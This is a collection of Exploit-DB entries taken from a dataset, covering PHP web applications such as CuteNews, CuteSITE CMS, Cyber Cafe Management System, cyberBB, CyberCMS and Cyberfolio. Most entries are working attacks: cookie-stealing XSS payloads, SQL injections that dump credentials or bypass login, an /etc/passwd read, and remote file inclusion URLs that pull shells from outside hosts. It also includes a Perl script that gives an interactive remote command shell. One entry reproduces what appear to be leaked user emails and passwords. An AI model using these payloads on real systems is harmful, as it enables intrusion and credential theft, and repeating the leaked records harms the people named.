deardaniel/secdata-raw huggingface dataset:
Exploit-DB #27676
Description: CutePHP CuteNews 1.4.1 Editnews Module - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-04-19
Author: LoK-Crew

Exploit:
source: https://www.securityfocus.com/bid/17592/info

CuteNews is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

CuteNews version 1.4.1 is vulnerable to this issue; other versions may also be affected.

Further reports from Steven M. Christey indicate the vulnerable parameter may also be affected by a directory-traversal vulnerability; other attacks may also be possible.

http://www.example.com/index.php?mod=editnews&action=editnews&id=[PII_REDACTED]&source=[XSS]
Exploit-DB #34096
Description: CuteSITE CMS 1.x - '/manage/add_user.php?user_id' SQL Injection
Type: webapps
Platform: php
Date: 2010-06-06
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/40612/info

CuteSITE CMS is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

CuteSITE CMS 1.5.0 is vulnerable; prior versions may also be affected.

http://www.example.com/manage/add_user.php?user_id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,user%28%29,15,16
Exploit-DB #34097
Description: CuteSITE CMS 1.x - '/manage/main.php?fld_path' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-06-06
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/40612/info
 
CuteSITE CMS is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input.
 
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
CuteSITE CMS 1.5.0 is vulnerable; prior versions may also be affected.

http://www.example.com/manage/main.php?fld_path=XXX%3Cscript%3Ealert%28document.cookie%29%3C/script%3E
Exploit-DB #51862
Description: CVE-2023-50071 - Multiple SQL Injection
Type: webapps
Platform: php
Date: 2024-03-06
Author: Geraldo Alcantara

Exploit:
# Exploit Title: Customer Support System 1.0 - Multiple SQL injection
vulnerabilities
# Date: 15/12/2023
# Exploit Author: Geraldo Alcantara
# Vendor Homepage:
https://www.sourcecodester.com/php/14587/customer-support-system-using-phpmysqli-source-code.html
# Software Link:
https://www.sourcecodester.com/download-code?nid=14587&title=Customer+Support+System+using+PHP%2FMySQLi+with+Source+Code
# Version: 1.0
# Tested on: Windows
# CVE : CVE-2023-50071
*Description*: Multiple SQL injection vulnerabilities in
/customer_support/ajax.php?action=save_ticket in Customer Support
System 1.0 allow authenticated attackers to execute arbitrary SQL
commands via department_id, customer_id and subject.*Payload*:
'+(select*from(select(sleep(20)))a)+'
*Steps to reproduce*:

1- Log in to the application.

2- Navigate to the page /customer_support/index.php?page=new_ticket.

3- Create a new ticket and insert a malicious payload into one of the
following parameters: department_id, customer_id, or subject.
*Request:*
POST /customer_support/ajax.php?action=save_ticket HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0)
Gecko/20100101 Firefox/120.0
Accept: */*
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data;
boundary=--------------------------[PII_REDACTED][PII_REDACTED]422505835
Content-Length: 853
Origin: http://192.168.68.148
Connection: close
Referer: http://192.168.68.148/customer_support/index.php?page=new_ticket
Cookie: csrftoken=1hWW6JE5vLFhJv2y8LwgL3WNPbPJ3J2WAX9F2U0Fd5H5t6DSztkJWD4nWFrbF8ko;
sessionid=xrn1sshbol1vipddxsijmgkdp2q4qdgq;
PHPSESSID=mfd30tu0h0s43s7kdjb74fcu0l

----------------------------[PII_REDACTED][PII_REDACTED]422505835
Content-Disposition: form-data; name="id"


----------------------------[PII_REDACTED][PII_REDACTED]422505835
Content-Disposition: form-data; name="subject"

teste'+(select*from(select(sleep(5)))a)+'
----------------------------[PII_REDACTED][PII_REDACTED]422505835
Content-Disposition: form-data; name="customer_id"

3
----------------------------[PII_REDACTED][PII_REDACTED]422505835
Content-Disposition: form-data; name="department_id"

4
----------------------------[PII_REDACTED][PII_REDACTED]422505835
Content-Disposition: form-data; name="description"

<p>Blahs<br></p>
----------------------------[PII_REDACTED][PII_REDACTED]422505835
Content-Disposition: form-data; name="files"; filename=""
Content-Type: application/octet-stream


----------------------------[PII_REDACTED][PII_REDACTED]422505835--
Exploit-DB #3628
Description: CWB PRO 1.5 - 'INCLUDE_PATH' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-04-01
Author: GoLd_M

Exploit:
# CWB PRO Version 1.5(INCLUDE_PATH)Remote File Include Vulnerabilites
# D.Script: http://codewalkers.com/codefiles/373_cwbs1.5_demo.zip 
# Discovered by: GloD_M = [Mahmood_ali]
# Homepage: http://www.Tryag.cc
# Exploit:[Path]/include/cls_headline_prod.php?INCLUDE_PATH=Shell
# Exploit:[Path]/include/cls_listorders.php?INCLUDE_PATH=Shell
# Exploit:[Path]/include/cls_viewpastorders.php?INCLUDE_PATH=Shell
# Greetz To: Tryag-Team & 4lKaSrGoLd3n-Team & AsbMay's Group

# milw0rm.com [2007-04-01]
Exploit-DB #2151
Description: Cwfm 0.9.1 - 'Language' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-08
Author: Philipp Niedziela

Exploit:
+--------------------------------------------------------------------
+
+ Cwfm-0.9.1 (Language) Remote File Inclusion
+
+ Original advisory:
+
+ http://www.bb-pcsecurity.de/Websecurity/301/org/Cwfm-0.9.1_(Language)_Remote_File_Inclusion.htm
+
+--------------------------------------------------------------------
+
+ Affected Software .: Cwfm 0.9.1
+ Venedor ...........: http://cwfm.sourceforge.net/
+ Class .............: Remote File Inclusion in /CheckUpload.php
+ Risk ..............: high (Remote File Execution)
+ Found by ..........: Philipp Niedziela
+ Contact ...........: webmaster[at]bb-pcsecurity[.]de
+                      http://www.bb-pcsecurity.de
+
+--------------------------------------------------------------------
+
+ Code /CheckUpload.php
+
+ .....
+ session_start();
+ include_once("Global.php");
+ //include_once("lang/$Language.php");
+ include_once("$Language.php");
+ .....
+
+--------------------------------------------------------------------
+
+ $Language is not properly sanitized before being used.
+
+--------------------------------------------------------------------
+
+ Solution:
+ Declare $Language before using, include config-file or
+ denie direct access to the vuln file.
+
+--------------------------------------------------------------------
+
+ PoC:
+
+ http://[target]/CheckUpload.php?Language=http://evilsite.com/dblib.php/&cmd=ls
+
+--------------------------------------------------------------------
+
+ Note:
+ Venedor contacted, but no response. So do a dirty patch.
+
+-------------------------[ E O F ]----------------------------------

# milw0rm.com [2006-08-08]
Exploit-DB #2960
Description: cwmCounter 5.1.1 - 'statistic.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-12-19
Author: bd0rk

Exploit:
#!/usr/bin/perl
#
#cwmCounter Remote File Include Exploit
#
#Coded by bd0rk || SOH-Crew
#
#Usage: cwmCounter.pl [target] [cmd shell] [shell variable]
#
#Greetings: str0ke, TheJT, Kacper, rgod
#
#

use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];

if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}

head();

while()
{
       print "[shell] \$";
while(<STDIN>)
       {
               $cmd=$_;
               chomp($cmd);

$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$Path.'statistic.php?path='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";

$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[....]/;

if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}

elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)
       {print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit}
elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or No Return\n\n"}

if($return =~ /(.*)/)


{
       $finreturn = $1;
       $finreturn=~ tr/[....]/[\n]/;
       print "\r\n$finreturn\n\r";
       last;
}

else {print "[shell] \$";}}}last;

sub head()
 {
 print "\n============================================================================\r\n";
 print " *cwmCounter Remote File Include Exploit*\r\n";
 print "============================================================================\r\n";
 }
sub usage()
 {
 head();
 print " Usage: cmwCounter.pl [target] [cmd shell location] [cmd shell variable]\r\n\n";
 print " <Site> - Full path to cwmCounter ex: http://www.site.com/ \r\n";
 print " <cmd shell> - Path to cmd Shell e.g http://www.different-site.com/cmd.txt \r\n";
 print " <cmd variable> - Command variable used in php shell \r\n";
 print "============================================================================\r\n";
 print "                           Bug Found by bd0rk \r\n";
 print "                           www.soh-crew.it.tt \r\n";
 print "============================================================================\r\n";
 exit();
 }

# milw0rm.com [2006-12-19]
Exploit-DB #2958
Description: cwmVote 1.0 - 'archive.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-12-19
Author: bd0rk

Exploit:
################################################################
#                                                              #
#            cwmVote 1.0 File Include Vulnerability            #
#                                                              #
# F0und3R: bd0rk || SOH-Crew                                   #
#                                                              #
# Website: www.soh-crew.it.tt                                  #
#                                                              #
# Download: http://explorer.cwm-design.de/dirs/41/cwmVote.rar  #
#                                                              #
################################################################

Vulnerable Code in archive.php


Code: include($abs."inc/functions.inc.php");
include($abs."inc/conf.mysql.inc.php");
include($abs."inc/conf.pw.inc.php");

Usage: http://[target]/[cwm_vote_path]/archive.php?abs=http://[Shellscript]

Greetings: TheJT, Lu7k, Kacper, nukedx, str0ke

# milw0rm.com [2006-12-19]
Exploit-DB #6487
Description: CYASK 3.x - 'neturl' Local File Disclosure
Type: webapps
Platform: php
Date: 2008-09-18
Author: xy7

Exploit:
This vulnerability leads to that the attacker can read any file on your webserver when it installs cyask.

The $neturl variable in collect.php is short of enough check. When the attacker registers a new user, he can pass 
the user check and then submit any filename to $neturl so that collect.php can read it.

The vuln code like this:
$url=get_referer();
    $neturl=empty($_POST['neturl']) ? trim($_GET['neturl']) : trim($_POST['neturl']);
  
    $collect_url=empty($neturl) ? $url : $neturl;
  
    $contents = '';
    if($fid=@fopen($collect_url,"r"))
    {
        do
        {
            $data = fread($fid, 4096);
            if (strlen($data) == 0)
            {
                break;
            }
            $contents .= $data;
        }
        while(true);
        fclose($fid);
    }

POC:
http://XXX.com/collect.php?neturl=../../../etc/passwd

# milw0rm.com [2008-09-18]
Exploit-DB #49204
Description: Cyber Cafe Management System  Project (CCMS) 1.0 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2020-12-07
Author: Pruthvi Nekkanti

Exploit:
# Exploit Title: Cyber Cafe Management System  Project (CCMS) 1.0 - Persistent Cross-Site Scripting
# Date: 04-12-2020
# Exploit Author: Pruthvi Nekkanti
# Vendor Homepage: https://phpgurukul.com
# Product link: https://phpgurukul.com/cyber-cafe-management-system-using-php-mysql/
# Version: 1.0
# Tested on: Kali Linux

Attack vector:
This vulnerability can results attacker to inject the XSS payload in admin username and each time any user will visits the website, the XSS triggers and attacker can able to steal the cookie according to the crafted payload.

Vulnerable Parameters: Admin Username.

Steps-To-Reproduce:
1. Go to the Product admin panel change the admin username
2. Put this payload in admin username field:"><script>alert(document.cookie)</script>
3. Now go to the website and the XSS will be triggered.
Exploit-DB #50355
Description: Cyber Cafe Management System Project (CCMS) 1.0 - SQL Injection Authentication Bypass
Type: webapps
Platform: php
Date: 2021-09-30
Author: Sanjay Singh

Exploit:
# Exploit Title: Cyber Cafe Management System  Project (CCMS) 1.0 - SQL Injection Authentication Bypass
# Date: 29-09-2021
# Exploit Author: sudoninja
# Vendor Homepage: https://phpgurukul.com
# Product link: https://phpgurukul.com/cyber-cafe-management-system-using-php-mysql/
# Version: 1.0
# Tested on: XAMPP / Windows 10

Steps-To-Reproduce:
Step 1 Go to the Product admin panel http://localhost/ccms/index.php.
Step 2 – Enter anything in username and password
Step 3 – Click on Login and capture the request in the burp suite
Step4 – Change the username to ' OR 1 -- -  and password to ccms
Step 5 – Click forward and now you will be logged in as admin.

POC 

POST /ccms/ HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Origin: http://localhost
Connection: close
Referer: http://localhost/ccms/
Cookie: PHPSESSID=agarg3okitkr3g8dbi5icnq8du
Upgrade-Insecure-Requests: 1

username='%20OR%201%20--%20-&[CREDENTIAL_REDACTED]=
Exploit-DB #6260
Description: cyberBB 0.6 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2008-08-18
Author: cOndemned

Exploit:
########################################################################################
#
#   Name        :   cyberBB v. 0.6 Multiply Remote SQL Injection Vulnerabilities
#   Author      :   cOndemned [ Dark-Coders ]
#   Greetz      :   Avantura, str0ke, ZaBeaTy, voo|doo, irk4z, and many, many more...
#   Conditions  :   Magic quotes gpc = On & Off / User must be logged into 
#
########################################################################################

source of /show_topic.php :

    21.     $id=$_REQUEST['id'];
    22.
    23.     if(isset($_REQUEST['p'])) $p=$_REQUEST['p']; else $p='';
    24.
    25.     $db = mysql_connect($mysql_server,$mysql_user,$mysql_pass);
    26.
    27.     mysql_select_db($mysql_db);
    28.
    29.     $sql = "SELECT * FROM `topics` WHERE `id` = $id";


 proof of concept :
    
    /show_topic.php?id=-1+UNION+SELECT+1,2,3,4,concat(username,0x3a,password),6,7+FROM+users/*


second sql injection (magic quotes gpc must be off):
    
    /profile.php?user='-1+UNION+SELECT+1,2,3,4,5,concat(username,0x3a,password),7,8,9,10,11+FROM+users/*

   
just 4 fun

# milw0rm.com [2008-08-18]
Exploit-DB #2559
Description: CyberBrau 0.9.4 - '/forum/track.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-15
Author: Kw3[R]Ln

Exploit:
---------------------------------------------------------------------------
CyberBrau <= 0.9.4 [path] Remote File Include Vulnerability
---------------------------------------------------------------------------


Discovered By Kw3[R]Ln [ Romanian Security Team ] : hTTp://RST-CREW.net :
Remote : Yes
Critical Level : Dangerous
---------------------------------------------------------------------------

Affected software description :
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Application : CyberBrau
version : 0.9.4
URL : http://cyberbrau.sourceforge.net/downloads/cyberbrau-0.9.4a.tgz
------------------------------------------------------------------


Exploit:
~~~~~~~~
Variable $path not sanitized.When register_globals=on an attacker ca
n exploit this vulnerability with a simple php injection script.

# http://www.site.com/[path]/forum/track.php?path=[Evil_Script]
---------------------------------------------------------------------------

Shoutz:
~~~~~~~

# Greetz to [Oo], str0ke, th0r, RST TEAM: [ !_30, darkking, DarkWizzard, Elias, Icarius, MiniDisc, Nemessis, Shocker, SpiridusuCaddy and sysghost !]
# To all members of #h4cky0u and RST [ hTTp://RST-CREW.net ]
---------------------------------------------------------------------------

*/

Contact:
~~~~

Nick: Kw3rLn
E-mail: ciriboflacs[at]YaHoo[dot]Com
Homepage: hTTp://RST-CREW.NET
__/*

# milw0rm.com [2006-10-15]
Exploit-DB #33882
Description: CyberCMS - 'faq.php' SQL Injection
Type: webapps
Platform: php
Date: 2009-11-26
Author: hc0de

Exploit:
source: https://www.securityfocus.com/bid/39698/info

Cyber CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/faq.php?id=SQL_CODE
Exploit-DB #11895
Description: CyberCMS - SQL Injection
Type: webapps
Platform: php
Date: 2010-03-26
Author: hc0de

Exploit:
# Exploit Title: CyberCMS Remote SQL Injection Vuln.
# Date: 26/11/2009
# Author: hc0de | hc0de.blogspot.com<http://hc0de.blogspot.com>
# Software Link: http://cyberfusion.ramx.org/cyber-cms
# Version: [app version]
# Tested on: Ubuntu Linux 9.04
# CVE :
# PoC:

+Target: http://server/faq.php?id=SQL_CODE

-MySQL Version: 5.0.37-community-nt
-MySQL User: skoleung@localhost
-MySQL Database: uskole

+Datas:
3:memborg:memborg:1:memborg@cyberfusion.dk<mailto:3%3Amemborg%3Amemborg%3A1%3Amemborg@cyberfusion.dk>
6:Leder:huskerikke:1:john.landbo@morsoe.dk<mailto:6%3ALeder%3Ahuskerikke%3A1%3Ajohn.landbo@morsoe.dk>
...etc.. :) just for fun :P
Exploit-DB #2725
Description: Cyberfolio 2.0 RC1 - 'av' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-11-06
Author: the_day

Exploit:
____________________   ___ ___ ________
\_   _____/\_   ___ \ /   |   \\_____  \
 |    __)_ /    \  \//    ~    \/   |   \
 |        \\     \___\    Y    /    |    \
/_______  / \______  /\___|_  /\_______  /
        \/         \/       \/         \/                              .OR.ID
ECHO_ADV_58$2006

-----------------------------------------------------------------------------------------------
[ECHO_ADV_58$2006]Cyberfolio <=2.0 RC1 $av  Remote File Inclusion Vulnerability
-----------------------------------------------------------------------------------------------

Author		: Dedi Dwianto a.k.a the_day
Date Found	: November, 01nd 2006
Location	: Indonesia, Jakarta
web		: http://advisories.echo.or.id/adv/adv58-theday-2006.txt
Critical Lvl	: Highly critical
Impact		: System access
Where		: From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application	: Cyberfolio
version		: <=2.0 RC1
URL		: http://www.cyberfolio.org

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~~

I found vulnerability in script view.php
--------------------------view.php-----------------------------------
....
<?
...
$newfic=$av."checkauth".$_SESSION[inlog].".php";
include("$newfic");
include_once($av."config.php");
include_once($av."connect.php");
...
----------------------------------------------------------

Input passed to the "$av" parameter in view.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.

Also affected files :

portfolio/msg/view.php
portfolio/msg/inc_message.php
portfolio/msg/inc_envoi.php
portfolio/admin/incl_voir_compet.php


Proof Of Concept:
~~~~~~~~~~~~~~~

http://target.com/cyberfolio/portfolio/msg/view.php?av=http://attacker.com/inject.txt?
http://target.com/cyberfolio/portfolio/admin/incl_voir_compet.php?av=http://attacker.com/inject.txt?


Solution:
~~~~~~~

- Sanitize variable $av affected files.
- Turn off register_globals

Timeline :
~~~~~~~~~

01 - 11 - 2006 bugs found
01 - 11 - 2006 vendor contacted
07 - 11 - 2006 public disclosure

---------------------------------------------------------------------------

Shoutz:
~~~
~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous
~ Jessy My Brain
~ az001,bomm_3x,matdhule,angelia
~ newbie_hacker@yahoogroups.com
~ #aikmel - #e-c-h-o @irc.dal.net
------------------------------------------------------------------------
---
Contact:
~~~~
     EcHo Research & Development Center
     the_day[at]echo[dot]or[dot]id
     
-------------------------------- [ EOF ]----------------------------------

# milw0rm.com [2006-11-06]
Exploit-DB #5567
Description: Cyberfolio 7.12 - 'rep' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-05-08
Author: RoMaNcYxHaCkEr

Exploit:
-==========================================[ ViVa Islam + YeMeN ]====================================-

# Name : cyberfolio 7.2 Remote File Include Vulnerabiliy

# Download From : http://cyberfolio.org/sources/version7.10/cyberfolio_7_12.zip

# Found By : RoMaNcYxHaCkEr     [RoMaNTiC-TeaM]  ( BlackxHat , BlackBox , aLwHEeD )        

# Home Page :  www.4rxh.com     &         www.nb3.cc        

+======================================================================================================================+

# Exploits :

http://WwW.4RxH.CoM/cyberfolio_7_12/portfolio/commentaires/derniers_commentaires.php?rep=http://rxh.freehostia.com/shells/c99in.txt?

That,s It,s

Good Luck Everybody

+=======================================================================================================================+

# Greet To :

Tryag TeaM & All Members Of My Forum & Anyone Hate Me  :) 

# For Contact : webmaster@4rxh.com

# bEST wISHES

-==========================================[ ViVa Islam + YeMeN ]====================================-

# milw0rm.com [2008-05-08]